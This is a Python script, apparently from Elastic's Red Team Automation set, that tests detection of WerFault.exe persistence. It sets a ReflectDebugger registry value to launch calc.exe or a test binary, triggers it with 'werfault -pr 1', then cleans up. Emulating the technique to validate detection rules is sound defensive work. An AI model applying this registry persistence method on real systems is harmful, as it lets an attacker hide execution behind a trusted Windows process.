Justin Ibarra
50 lines
1.6 KiB
Python
50 lines
1.6 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: WerFault.exe Persistence
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# RTA: werfault_persistence.py
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# signal.rule.name: Process Potentially Masquerading as WerFault
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# ATT&CK: T1112
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# Description: Sets an executable to run when WerFault is run with -rp flags and runs it
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import time
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from . import common
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MY_APP = common.get_path("bin", "myapp.exe")
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@common.requires_os(common.WINDOWS)
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@common.dependencies(MY_APP)
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def main():
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reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'"
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reg_name = "ReflectDebugger"
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commands = ["C:\\Windows\\system32\\calc.exe",
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"'powershell -c calc.exe'",
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MY_APP]
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for command in commands:
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common.log("Setting WerFault reg key to {}".format(command))
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common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key,
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"-Name", reg_name, "-Value", command], wait=False)
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time.sleep(1)
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common.log("Running WerFault.exe -pr 1")
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common.execute(["werfault", "-pr", "1"], wait=False)
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time.sleep(2.5)
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common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name])
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common.log("Cleaning up")
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common.execute(["taskkill", "/F", "/im", "calc.exe"])
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common.execute(["taskkill", "/F", "/im", "calculator.exe"])
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common.execute(["taskkill", "/F", "/im", "myapp.exe"])
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if __name__ == '__main__':
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exit(main())
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